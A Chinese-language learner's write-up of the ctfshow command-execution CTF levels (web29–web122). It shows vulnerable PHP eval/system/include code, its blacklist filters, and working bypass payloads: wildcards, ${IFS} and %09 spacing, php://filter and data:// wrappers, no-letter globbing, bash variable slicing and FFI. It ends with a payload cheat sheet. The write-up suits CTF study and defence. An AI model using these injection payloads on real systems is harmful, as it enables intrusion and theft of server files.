ctfshow_web入門 命令執行


命令執行

剛剛開始學習命令執行,萌新一個

因為是學習嘛,所以東西寫的雜亂了

web 29

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
這里過濾了flag這個字符串

解法一:利用通配符$

payload:?c=system('cat fla*');

image-20210717232833252

只是剛剛輸入完這個之后,由於是空白頁面,以為錯誤了

解法一,變式:修改文件名

image-20210717231237581

image-20210717231305693

解法二:利用``執行命令

payload:?c=system('cat ls');

ls是用反引號包起來的,既執行命令ls(打印出當前目錄的文件名),然后用cat讀出文件內容

image-20210717231127895

解法三:字符串拼接

image-20210717232948083

image-20210717233205092asd

web30

忘了貼代碼,這里是將system和flag過濾了

試了一手:?c=echo cat fla*;

image-20210717235920881

web31

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

群主解法:構造新的執行點

給c傳一個eval($_GET[a])進去,再給a出入代碼,執行。

牛批的嗷!

image-20210718001150624

上圖是驗證一下,下圖就是cat flag.php了

image-20210718001406009

payload=>?c=eval($_GET[a]);&a=system('cat flag.php');

解法二 hint

無參數讀文件和RCE總結 - FreeBuf網絡安全行業門戶

由於是看的hint,就分析一下

payload=>show_source(next(array_reverse(scandir(pos(localeconv())))));

php函數:

localeconv() 函數返回一包含本地數字及貨幣格式信息的數組。

image-20210719113611081

image-20210719112038718

pos() 函數返回數組中的當前元素的值(指的是:指針指向的元素)。

image-20210719112451102

scandir() 函數返回指定目錄中的文件和目錄的數組

image-20210719112325397

array_reverse():將數組倒敘輸出

image-20210719113308584

next():將內部指針指向數組的下一個元素並輸出

show_source() 函數對文件進行語法高亮顯示,是highlight_file()別名。

image-20210718003225628

所以,語句的步驟是:
先拿到一個.==》localeconv() pos()
接着掃描.目錄,即當前目錄==》scandir()
將掃描完的目錄倒敘==》array_reverse(),因為正序第一第二分別是:. ..
將倒敘完畢的數組的第二個元素輸出==》next()
打印文件信息==》show_source()

web 32

過濾了:
flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(

這里考慮:利用文件包含以及偽協議讀取

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

這里偽協議的意思是,php://filter(過濾器)/convert.base64-encode(base64編碼的過濾器)/resource=flag.php

通過指定的通道讀取資源,base64-encode的一個通道

為什么$_GET[a]不用單引號?

因為PHP要向下兼容,所以可以不用單引號,以后可能會取消

web33

過濾了:
flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"
比上面多了一個"

?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

將引號去掉即可

web34

語言結構:不需要使用括號的函數 echo print isset unset include require

過濾了:
flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\
比上面多了(  :

因為上面的payload本來就沒有使用到( :,所以直接用上面的payload即可

因為過濾的是$c,所以我們輸入的a是沒得影響的

?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web35

flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=
多了< " =

因為上面的payload本來就沒有使用到< " =,所以直接用上面的payload即可

因為過濾的是$c,所以我們輸入的a是沒得影響的

?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web 36

flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]
多了 / 數字

因為上面的payload本來就沒有使用到 / 數字,所以直接用上面的payload即可

因為過濾的是$c,所以我們輸入的a是沒得影響的

?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web 37

if(isset($_GET['c'])){    
  $c = $_GET['c'];    
  if(!preg_match("/flag/i", $c)){        
    include($c);        
    echo $flag;   
  }        
}else{    
  highlight_file(__FILE__);
}

data偽協議:將后面的字符當做PHP代碼執行

data://,類似php://input,可以讓用戶來控制輸入流,當它與包含函數結合時,用戶輸入的data://流會被當作php文件執行。

?c=data://text/plain,<?php system("cat fl*");?>  

看源代碼,因為flag.php注釋注釋了flag,所以看不見,需要查看源代碼

也可以使用tac來讀取,破壞php的注釋規則,就可以直接在頁面上看見flag了

web 38

error_reporting(0);if(isset($_GET['c'])){    
  $c = $_GET['c'];    
  if(!preg_match("/flag|php|file/i", $c)){        
    include($c);        
     echo $flag;        
  }        
}else{    
  highlight_file(__FILE__);
}
多過濾了 php file

依舊利用data偽協議,換一種PHP代碼寫法,是短標簽

?c=data://text/plain, 插看源代碼

也可考慮加密:格式?page=data://text/plain;base64,[base64_encode_shell]

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA=

<?php system("cat flag.php");?> 進行base64加密是:PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA=

兩種方式都各有好處,因為是做題學習,所以能多解就多解,畢竟俺也是個菜弟弟,能寫詳細就詳細點了

web 39

error_reporting(0);if(isset($_GET['c'])){    
  $c = $_GET['c'];    
  if(!preg_match("/flag/i", $c)){        
    include($c.".php");    
  }        
}else{    
  highlight_file(__FILE__);
}
沒有回顯,且強制加后綴

上面的payload也可以用

web 40

if(isset($_GET['c'])){    
  $c = $_GET['c'];    
  if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){        
  eval($c);    
  }
}額,這里的括號應該是中文括號,對比一下  |\(中文括號|\(英文括號|沒有過濾英文括號,下划線,分號,空格

解法一:利用PHP函數

如果沒有過濾英文括號,可以試一下用PHP自帶的函數,web31中有解釋

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

解法二:hint 利用session

?c=session_start();system(session_id());

接着F12,將PHPSESSID的值修改為ls

image-20210719174107105

阿巴阿巴,弟弟繞不過,嗚嗚嗚

解法三:設置變量,執行變量,騷姿勢

?c=eval(array_pop(next(get_defined_vars())));

post傳入:1=phpinfo

image-20210720112309663

群主牛批!!!

web 41

這里請參看這一位師傅的博客ctfshow web 入門 web 41

web 42

if(isset($_GET['c'])){    
  $c=$_GET['c'];    
  system($c." >/dev/null 2>&1");
 }else{    
  highlight_file(__FILE__);
}
ststem($c.">/dev/null 2>&1")將執行的c的結果輸入到/dev/null中shell中打開3中文件描述符,1代表標准輸出,2代表錯誤輸出,3代表標准輸入這里是將錯誤輸出綁定到標准輸出中,然后就會統一輸出到/dev/null中

?c=ls;ls

?c=tac flag.php;ls

;前面的被執行了返回結果,后面的執行了被放入/dev/null中

tac會對HTML的注釋產生破壞,所以就會直接顯示出來

web 43

if(isset($_GET['c'])){    
  $c=$_GET['c'];   
  if(!preg_match("/\;|cat/i", $c)){        
    system($c." >/dev/null 2>&1");    
  }
}else{    
  highlight_file(__FILE__);
}
過濾了;和cat

cmd1 && cmd2 cmd1執行正確執行完畢后才執行cmd2

cmd1 || cmd2 cmd1執行錯誤執行完畢后才執行cmd2

?c=tac flag.php%26%26ls

%26是url加密的&,當tac執行完畢,再執行ls,進行了分割

也可以用%0a換行符

原理和web42一樣

web 44

if(isset($_GET['c'])){    
  $c=$_GET['c'];    
  if(!preg_match("/;|cat|flag/i", $c)){        
    system($c." >/dev/null 2>&1");    
  }
}else{    
  highlight_file(__FILE__);
}
比上面多了flag

用通配符過濾就行

?c=tac fla*%26

web 45

if(isset($_GET['c'])){    
  $c=$_GET['c'];    
  if(!preg_match("/\;|cat|flag| /i", $c)){     
     system($c." >/dev/null 2>&1");    
  }
}else{     
  highlight_file(__FILE__);
}比上面多了空格

?c=tac%09fla*%26%26(%09水平定位符)

?c=tac${IFS}fla*%26%26

?c=echo${IFS}`tac${IFS}f*`%0A

web 46

if(isset($_GET['c'])){    
  $c=$_GET['c'];   
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){        
    system($c." >/dev/null 2>&1");   
  }
}else{    
  highlight_file(__FILE__);
}比上面多了數字,$ *

web 45的f*改成fla?.php即可

?c=tac%09fla?.php%26%26

%26是進行了URL編碼的&,不能當做數字

web 47

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){        
  system($c." >/dev/null 2>&1");    
}
比上面多了,more less head sort tail 

?c=tac%09fla?.php%26%26

即可

web 48

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){        
  system($c." >/dev/null 2>&1");    
} 

tac依舊可用

web 48

tac依舊可用

web 50

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){    
  system($c." >/dev/null 2>&1");
}     

利用shell特性''分割字符

?c=nl<fla''g.php%7c%7c

命令 nl

nl 可以將輸出的文件內容自動的加上行號!其默認的結果與 cat -n 有點不太一樣, nl 可以將行號做比較多的顯示設計,包括位數與是否自動補齊 0 等等的功能。

1. 命令格式:

nl [選項]... [文件]...

2. 命令參數:

-b :指定行號指定的方式,主要有兩種:

-b a :表示不論是否為空行,也同樣列出行號(類似 cat -n);

-b t :如果有空行,空的那一行不要列出行號(默認值);

-n :列出行號表示的方法,主要有三種:

-n ln :行號在螢幕的最左方顯示;

-n rn :行號在自己欄位的最右方顯示,且不加 0 ;

-n rz :行號在自己欄位的最右方顯示,且加 0 ;

-w :行號欄位的占用的位數。

-p 在邏輯定界符處不重新開始計算。

3. 命令功能:

nl 命令讀取 File 參數(缺省情況下標准輸入),計算輸入中的行號,將計算過的行號寫入標准輸出。 在輸出中,nl 命令根據您在命令行中指定的標志來計算左邊的行。 輸入文本必須寫在邏輯頁中。每個邏輯頁有頭、主體和頁腳節(可以有空節)。 除非使用 -p 標志,nl 命令在每個邏輯頁開始的地方重新設置行號。 可以單獨為頭、主體和頁腳節設置行計算標志(例如,頭和頁腳行可以被計算然而文本行不能)。

4.****使用實例:

實例一:用 nl 列出 log2012.log 的內容

命令:

nl log2012.log

輸出:

[root@localhost test]# nl log2012.log    1 2012-01   2 2012-02

web 51

過濾了tac

用nl<fla''g.php%7c%7cls即可

web 52

沒過濾$,用${IFS}代替空格

?c=nl${IFS}fla''g.php%7c%7cls

image-20210721120452597

找到一個假的,然后查看一下根目錄

?c=ls${IFS}/||

image-20210721120522569

?c=nl${IFS}/fla?%7c%7c

image-20210721120542388

web 53

依舊沒有過濾$,而且沒有2<^&1了

?c=nl${IFS}fla?.php

?c=nl${IFS}fla''g.php

web 54

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){        
  system($c);
} 

解法一:grep

image-20210721150732130

?c=grep${IFS}'fla'${IFS}fla?.php

解法二:paste

Linux paste 命令 | 菜鳥教程 (runoob.com)

簡單說明一下:paste file1 file2,將文件1和file2合並(但是並沒有真的合並成一個文件),並且在終端顯示;;可以理解為打印file1 和 file2

image-20210721152951621

?c=paste${IFS}

解法三:mv

將flag.php文件名字給改了,直接訪問

?c=mv${IFS}fl?g.php${IFS}a.txt

url/a.txt

image-20210721154059678

image-20210721154050497

image-20210721154129615

hint:/bin/?at${IFS}f???????

/bin/?at${IFS}f???????查看源代碼

看不懂了

web 55

if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){        
system($c);    
}
沒過濾 . 空格 ?

(38條消息) 繼無字母數字的命令執行(ctfshow web入門 55)新姿勢_Firebasky的博客-CSDN博客

解法一:

因為過濾了字母,有一個含數字的base64命令可以讀文件,用通配符繞過字母,在/bin目錄下,使用/???/????64
?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/????64 ????.???

解法二:

bzip2命令是一個壓縮文件的命令,壓縮文件后綴為.bz2,命令路徑:/usr/bin/bzip2
?c=/bin/bzip2 flag.php
即?c=/???/????2 ????.???
壓縮后下載,訪問/flag.php.bz2。

解法三:上傳文件

請看一下群主在B站視頻詳解,點擊跳轉

無字母數字webshell之提高篇 | 離別歌 (leavesongs.com)

(38條消息) 無字母數字的命令執行(ctfshow web入門 55)_Firebasky的博客-CSDN博客

潛說一下原因:

. filename和source filename 都是直接編譯文件

由於php上傳文件之后,上傳到tem目錄下,在tem目錄下臨時保存為一個phpxxxxX(大寫)? 的一個文件名

知道這個特性,就可以直接去編譯這個臨時文件!!!

/?c=.%20/???/????????[@-[]

image-20210722000205207

web 56

if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){   
  system($c);
} 
沒過濾 . 空格 ?

方法同web 55方法三

web 58

沒有過濾

post c=show_source(next(array_reverse(scandir(pos(localeconv())))));

然后看了一下題,原來是禁用函數,上面純屬誤打誤撞

先傳入c=phpinfo();看看有什么函數被禁用了

然后發現phpinfo也被禁用了。。。妙啊,既然如此就一個一個試

發現:system,shell_exec被禁用,可以使用file_get_contents()

post c=echo file_get_contents('flag.php');

post c=show_source('flag.php'); 也行,也對,人家沒有過濾flag,可以直接讀取誒

web 59

這里吧file_get_contents()禁用了

post c=show_source(flag.php);

post c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php

image-20210723115107483

post c=highlight_file('fllag.php');

post c=print_r(scandir('/')); 查看目錄

web 60

post c=include($_GET[1]); ?1=php://filter/convert.base64-encode/resource=flag.php

post c=highlight_file('flag.php');

post c=show_source('flag.php');

web 61

同60

web 62

繼續白嫖60,又有一個騷姿勢

post c=include('flag.php');echo $flag; (前提是我們知道是在flag.php中,且$flag是flag)

web 63

62方法plus

get_defined_ vars():返回已經定義了的變量名和數組名

由於已經將flag.php給include了,所以flag.php中的變量也會被輸出

post c=include('flag.php');var_dump(get_defined_vars());

image-20210723122913945

所以,現在不需要知道flag.php中的變量名是什么也行;

62方法plus++ (什么都不需要知道)

掃描目錄:post c=var_dump(scandir('./'));

加載文件:post c=include('flag.php');var_dump(get_defined_vars());

62方法plus++ pro

一步到位:post c=include(scandir('./')[2]);var_dump(get_defined_vars());

print_r和var_dump雖然有區別,由於我們這里的都是一些簡單的字符串,所以沒啥影響

魔改:

日志包含:這里建議去看看群主的方法B站里面

web 64

哈哈哈,白嫖62方法

嘿嘿嘿,本來跟着視頻想用一下rename()的,可惜不行,重命名,群主師傅最喜歡的方式

web 65

白嫖前面的可以

web 66

show_source()被ban了,但是還是可以使用highlight_file

先使用post c=print_r(scandir('./'));找一下flag文件在什么位置

然后發現在根目錄下有一個flag.txt

用highlight_file('flag.txt');讀出來flag就行

web 67

嫖web66

web 68

ban了,highlight_file,print_r

可以使用var_dump,include

flag在根目錄下的flag.txt中

由於是txt文件,所以直接引入就行,引入了會當做普通文本信息,直接輸入

post c=include('/flag.txt');

web 69

web 68方法可以直接用

看了一下其它師傅的wp,說的是print_r var_dump被ban了

可以使用var_export()來進行輸出,用來查看目錄

web 70

繼續白嫖,var_export也可以用

web 71

有個附件image-20210723161038445

post c=var_export(scandir('/'));exit();

發現flag在根目錄下,為flag.txt

post c=include('/flag.txt');exit();

web72

image-20210723161412845

看樣子應該是增加了過濾

emmmm,scandir沒了

利用glob協議掃描目錄

c=$a="glob:///*.txt";if($b=opendir($a)){	
  while(($file=readdir($b))!==false){		
  echo "filename:",$file."\n";	
}	
closedir($b);
}
exit();
這也是掃描目錄的,上面是直接找.txt結尾的文件,這里相當於是ls注意,glob:///*是glob://協議   /*是根目錄下所有文件
c=?><?php	
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().' ');}
exit(0);?>

image-20210723163129934

讀取到flag0.txt

額,然后到ctfshow交流群中下載72poc.php的一個文件

把文件內容直接粘貼上去,經過url編碼就可以得到flag

大佬們太強了orz

web 73

先掃一下目錄,得到flag文件為flagc.txt文件

繼續使用72poc.php中的代碼,發現有個strlen被禁用了,考慮將strlen函數重寫

但是超內存了,好像還是不行

不過這里可以直接使用include('/flagc.txt');exit()

web 74

include('/flagc.txt');exit()

web 75

掃描出來是flag36.txt

c=try {    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',        'root');    
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {        echo ($row[0]) . "|";    }    $dbh = null;} 
catch (PDOException $e) {    echo $e->getMessage();    exit(0);}exit(0);

PDO這個不會,說的是前面幾個題可以查到數據庫名稱

額,但是問題是,賬號密碼呢?哪里的配置文件哦?

web 76

同上

web 77

利用7.4的特性,命令接口

c=$ffi=FFI::cdef("int system(const char *command);");
$a='readflag>/var/www/html/1.txt';	
//這里放命令就行,readflag是題目里面的一個腳本$ffi->system($a);

這個姿勢有點牛批的嗷!!!

web 118

牛批的嗷!!!這道題利用bash的內置變量構造出了nl flag.php

首先是知道flag是在flag.php中的,題目有說明

接着從正常的內置命令中,截取字符構造出想要的字符

image-20210724175636153

A,B,C等代表0,代表取后幾位;A,取最后一位的前一位

image-20210724175825641

image-20210724175940385

由於hint中給了一張圖,一張路勁的圖片,一張ls

然后用${PATH:A}表示n,${PWD:A}代表l,就有了nl

nl,然后執行命令

${PATH:A}${PWD:A} fla?.php

web 119

這里大師傅們用了這兩個內置變量:RANDOM和SHLVL。

RANDOM
此變量值,隨機出現整數,范圍為0-32767。不過,雖然說是隨機,但並不是真正的隨機,因為每次得到的隨機數都一樣。為此,在使用RANDOM變量前,請隨意設定一個數字給RANDOM,當做隨機數種子,這樣才不會每次產生的隨機數其順序都一樣。

因此光利用RANDOM這個函數理論上就可以得到數字1-5了,不過相對來說4和5的概率會更大。

SHLVL 是記錄多個 Bash 進程實例嵌套深度的累加器

不理解也沒關系,只要知道這個東西的默認值是1,而且如果不進行一些特殊的操作的話,永遠都是1,所以這個可以幫助我們得到數字1。

yu師傅使用的是/bin/base64 flag.php,因此考慮構造出/和數字4就可以了,當然數字6也不是不能構造。最終payload如下:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

由於是隨機數,所以要多執行幾次才能看見答案案

web 120

可以白嫖web119

hint中用了${user},額,試了一下,看不懂

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

web 121

可以繼續白嫖web119

因為過濾了SHLVL,所以需要將${SHLVL}修改為${##}或者${#?}

#?代表上一次

hint:

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

PWD是/var/www/html正好有一個r,且${#IFS}為3

用的是,/bin/rev來讀取flag文件,這是將文件內容倒敘輸出

不過,不知道用的是什么系統,Ubuntu下沒有/bin/rev,只有rev

image-20210724214907593

web 122

嗯,這個實在是有點不行,就直接復制粘貼了

又ban了許多東西,ban了PWD可以用HOME代替,但是把#給ban就非常難受了,沒想到比較好的辦法。
看了一下yu師傅的WP,還是利用$?,獲取上一條命令執行結束后的返回值,0代表成功,非0代表失敗。而且這個返回值原來是可控的:

"OS error code   1:  Operation not permitted"
"OS error code   2:  No such file or directory"
"OS error code   3:  No such process"
"OS error code   4:  Interrupted system call"
"OS error code   5:  Input/output error"
"OS error code   6:  No such device or address"
"OS error code   7:  Argument list too long"
"OS error code   8:  Exec format error"
"OS error code   9:  Bad file descriptor"
"OS error code  10:  No child processes"
"OS error code  11:  Resource temporarily unavailable"
"OS error code  12:  Cannot allocate memory"
"OS error code  13:  Permission denied"
"OS error code  14:  Bad address"
"OS error code  15:  Block device required"
"OS error code  16:  Device or resource busy"
"OS error code  17:  File exists"
"OS error code  18:  Invalid cross-device link"
"OS error code  19:  No such device"
"OS error code  20:  Not a directory"
"OS error code  21:  Is a directory"
"OS error code  22:  Invalid argument"
"OS error code  23:  Too many open files in system"
"OS error code  24:  Too many open files"
"OS error code  25:  Inappropriate ioctl for device"
"OS error code  26:  Text file busy"
"OS error code  27:  File too large"
"OS error code  28:  No space left on device"
"OS error code  29:  Illegal seek"
"OS error code  30:  Read-only file system"
"OS error code  31:  Too many links"
"OS error code  32:  Broken pipe"
"OS error code  33:  Numerical argument out of domain"
"OS error code  34:  Numerical result out of range"
"OS error code  35:  Resource deadlock avoided"
"OS error code  36:  File name too long"
"OS error code  37:  No locks available"
"OS error code  38:  Function not implemented"
"OS error code  39:  Directory not empty"
"OS error code  40:  Too many levels of symbolic links"
"OS error code  42:  No message of desired type"
"OS error code  43:  Identifier removed"
"OS error code  44:  Channel number out of range"
"OS error code  45:  Level 2 not synchronized"
"OS error code  46:  Level 3 halted"
"OS error code  47:  Level 3 reset"
"OS error code  48:  Link number out of range"
"OS error code  49:  Protocol driver not attached"
"OS error code  50:  No CSI structure available"
"OS error code  51:  Level 2 halted"
"OS error code  52:  Invalid exchange"
"OS error code  53:  Invalid request descriptor"
"OS error code  54:  Exchange full"
"OS error code  55:  No anode"
"OS error code  56:  Invalid request code"
"OS error code  57:  Invalid slot"
"OS error code  59:  Bad font file format"
"OS error code  60:  Device not a stream"
"OS error code  61:  No data available"
"OS error code  62:  Timer expired"
"OS error code  63:  Out of streams resources"
"OS error code  64:  Machine is not on the network"
"OS error code  65:  Package not installed"
"OS error code  66:  Object is remote"
"OS error code  67:  Link has been severed"
"OS error code  68:  Advertise error"
"OS error code  69:  Srmount error"
"OS error code  70:  Communication error on send"
"OS error code  71:  Protocol error"
"OS error code  72:  Multihop attempted"
"OS error code  73:  RFS specific error"
"OS error code  74:  Bad message"
"OS error code  75:  Value too large for defined data type"
"OS error code  76:  Name not unique on network"
"OS error code  77:  File descriptor in bad state"
"OS error code  78:  Remote address changed"
"OS error code  79:  Can not access a needed shared library"
"OS error code  80:  Accessing a corrupted shared library"
"OS error code  81:  .lib section in a.out corrupted"
"OS error code  82:  Attempting to link in too many shared libraries"
"OS error code  83:  Cannot exec a shared library directly"
"OS error code  84:  Invalid or incomplete multibyte or wide character"
"OS error code  85:  Interrupted system call should be restarted"
"OS error code  86:  Streams pipe error"
"OS error code  87:  Too many users"
"OS error code  88:  Socket operation on non-socket"
"OS error code  89:  Destination address required"
"OS error code  90:  Message too long"
"OS error code  91:  Protocol wrong type for socket"
"OS error code  92:  Protocol not available"
"OS error code  93:  Protocol not supported"
"OS error code  94:  Socket type not supported"
"OS error code  95:  Operation not supported"
"OS error code  96:  Protocol family not supported"
"OS error code  97:  Address family not supported by protocol"
"OS error code  98:  Address already in use"
"OS error code  99:  Cannot assign requested address"
"OS error code 100:  Network is down"
"OS error code 101:  Network is unreachable"
"OS error code 102:  Network dropped connection on reset"
"OS error code 103:  Software caused connection abort"
"OS error code 104:  Connection reset by peer"
"OS error code 105:  No buffer space available"
"OS error code 106:  Transport endpoint is already connected"
"OS error code 107:  Transport endpoint is not connected"
"OS error code 108:  Cannot send after transport endpoint shutdown"
"OS error code 109:  Too many references: cannot splice"
"OS error code 110:  Connection timed out"
"OS error code 111:  Connection refused"
"OS error code 112:  Host is down"
"OS error code 113:  No route to host"
"OS error code 114:  Operation already in progress"
"OS error code 115:  Operation now in progress"
"OS error code 116:  Stale NFS file handle"
"OS error code 117:  Structure needs cleaning"
"OS error code 118:  Not a XENIX named type file"
"OS error code 119:  No XENIX semaphores available"
"OS error code 120:  Is a named type file"
"OS error code 121:  Remote I/O error"
"OS error code 122:  Disk quota exceeded"
"OS error code 123:  No medium found"
"OS error code 124:  Wrong medium type"
"OS error code 125:  Operation canceled"
"OS error code 126:  Required key not available"
"OS error code 127:  Key has expired"
"OS error code 128:  Key has been revoked"
"OS error code 129:  Key was rejected by service"
"OS error code 130:  Owner died"
"OS error code 131:  State not recoverable"
"MySQL error code 132: Old database file"
"MySQL error code 133: No record read before update"
"MySQL error code 134: Record was already deleted (or record file crashed)"
"MySQL error code 135: No more room in record file"
"MySQL error code 136: No more room in index file"
"MySQL error code 137: No more records (read after end of file)"
"MySQL error code 138: Unsupported extension used for table"
"MySQL error code 139: Too big row"
"MySQL error code 140: Wrong create options"
"MySQL error code 141: Duplicate unique key or constraint on write or update"
"MySQL error code 142: Unknown character set used"
"MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table"
"MySQL error code 144: Table is crashed and last repair failed"
"MySQL error code 145: Table was marked as crashed and should be repaired"
"MySQL error code 146: Lock timed out; Retry transaction"
"MySQL error code 147: Lock table is full;  Restart program with a larger locktable"
"MySQL error code 148: Updates are not allowed under a read only transactions"
"MySQL error code 149: Lock deadlock; Retry transaction"
"MySQL error code 150: Foreign key constraint is incorrectly formed"
"MySQL error code 151: Cannot add a child row"
"MySQL error code 152: Cannot delete a parent row"

yu師傅說${}的報錯在本地返回時1,但是題目環境是2,所以放開了<<A的報錯返回也是1,所以就成功得到了數字1,至於數字4拿RANDOM隨機就可以了。
不過為什么${}和<A這樣的報錯歸屬為Operation not permitted我也很迷。。。yu師傅說${}的報錯在本地返回時1,但是題目環境是2,所以放開了<<A的報錯返回也是1,所以就成功得到了數字1,至於數字4拿RANDOM隨機就可以了。不過為什么${}和<A這樣的報錯歸屬為Operation not permitted我也很迷。。。

最終payload如下:

<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

————————————————
版權聲明:本文為CSDN博主「bfengj」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。
原文鏈接:https://blog.csdn.net/rfrder/article/details/112862827

小知識點總結

過濾不嚴謹

  1. nl命令:讀取文件內容,相當於cat

  2. ``執行命令之后記得用echo進行回顯

  3. echo 后面要帶上;

  4. ``效果和system作用相似,但是用法不同(echo `` system(''))

  5. %09 tab鍵

  6. 利用PHP函數show_source(next(array_reverse(scandir(pos(localeconv())))));

  7. passthru()執行外部程序並且顯示原始輸出

  8. 利用文件包含,php://filter/convert.base64-encode/resource=flag.php

繞過空格

  1. %0a 換行符
  2. %09 水平定位符
  3. $IFS ${IFS}
  4. <> 需要寫的權限
  5. <
  6. %3c就是<
  7. 還看見一個

語言結構

  1. 可以不使用括號的函數:echo print isset unset require include
  2. PHP可以大寫,例如:PHPINFO() PHPinfo() 也可以寫成 ('phpinfo')() ("system")("ls")

system($c)過濾

  1. 過濾 ; 利用%0a && & ||
  2. 過濾空格
    1. ${IFS}
    2. %0a 1
    3. nl<fla''g.php shell特性

(38條消息) CTF中命令執行知識點總結_Hello_super的博客-CSDN博客

erR0Ratao (cnblogs.com)web42-54繞過總結

Linux查看文件命令

cat //cat flag.php
tac //tac flag.php
head //head flag.php
tail //tail flag.php
nl //nl flag.php
more //more flag.php
less //less flag.php
od //od flag.php
grep //grep 'fla' flag.php
strings //strings flag.php
sort //sort flag.php

無字母類型

因為過濾了字母,有一個含數字的base64命令可以讀文件,用通配符繞過字母,在/bin目錄下,使用/???/????64
?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/????64 ????.???

壓縮包

bzip2命令是一個壓縮文件的命令,壓縮文件后綴為.bz2,命令路徑:/usr/bin/bzip2
?c=/bin/bzip2 flag.php
即?c=/???/????2 ????.???
壓縮后下載,訪問/flag.php.bz2。

上傳文件

看上面的解析

禁用函數中執行:eval($c)

  1. c=show_source(next(array_reverse(scandir(pos(localeconv())))));
  2. c=echo file_get_contents(flag);
  3. c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php
  4. c=highlight_file('flag.php');
  5. post c=include('flag.php');echo $flag; (前提是我們知道是在flag.php中,且$flag是flag)
  6. 日志執行,實在是看又看不懂

查看目錄:

print_r(scandir("/"));

var_dump(scandir("/"));

var_export(scandir("/"));(一般過濾前兩個)

Linux 基礎知識:Bash的內置變量_Craft Life的技術博客_51CTO博客

常見 Bash 內置變量介紹 - sparkdev - 博客園 (cnblogs.com)

所使用的命令

因為總結題型不太好,於是就將大部分命令列了出來,看到命令,基本就能夠回憶題型

?c=system('cat `ls`');
?c=echo `cat fla*`;
?c=eval($_GET[a]);&a=system('cat flag.php');
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=data://text/plain,<?php system("cat fl*");?> 
?c=data://text/plain,<?= system("cat fl*");?>  
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA=

array_pop獲取post傳入的phpinfo(),然后eval執行,當確定能夠執行之后,將phpinfo()換成system('cat flag.php');
?c=eval(array_pop(next(get_defined_vars())));
post 1=phpinfo()

?c=ls;ls
?c=tac flag.php;ls
?c=tac flag.php%26%26ls	%26是&
?c=tac fla*%26
?c=tac${IFS}fla*%26%26
?c=echo${IFS}`tac${IFS}f*`%0A		${IFS}是空格 %0a是提行
?c=tac%09fla?.php%26%26
?c=tac%09fla?.php%26%26
?c=nl<fla''g.php%7c%7c		$7c是| <是空格
?c=ls${IFS}/||
?c=nl${IFS}/fla?%7c%7c
?c=grep${IFS}'fla'${IFS}fla?.php
?c=paste${IFS}fla?.php

?c=mv${IFS}fl?g.php${IFS}a.txt
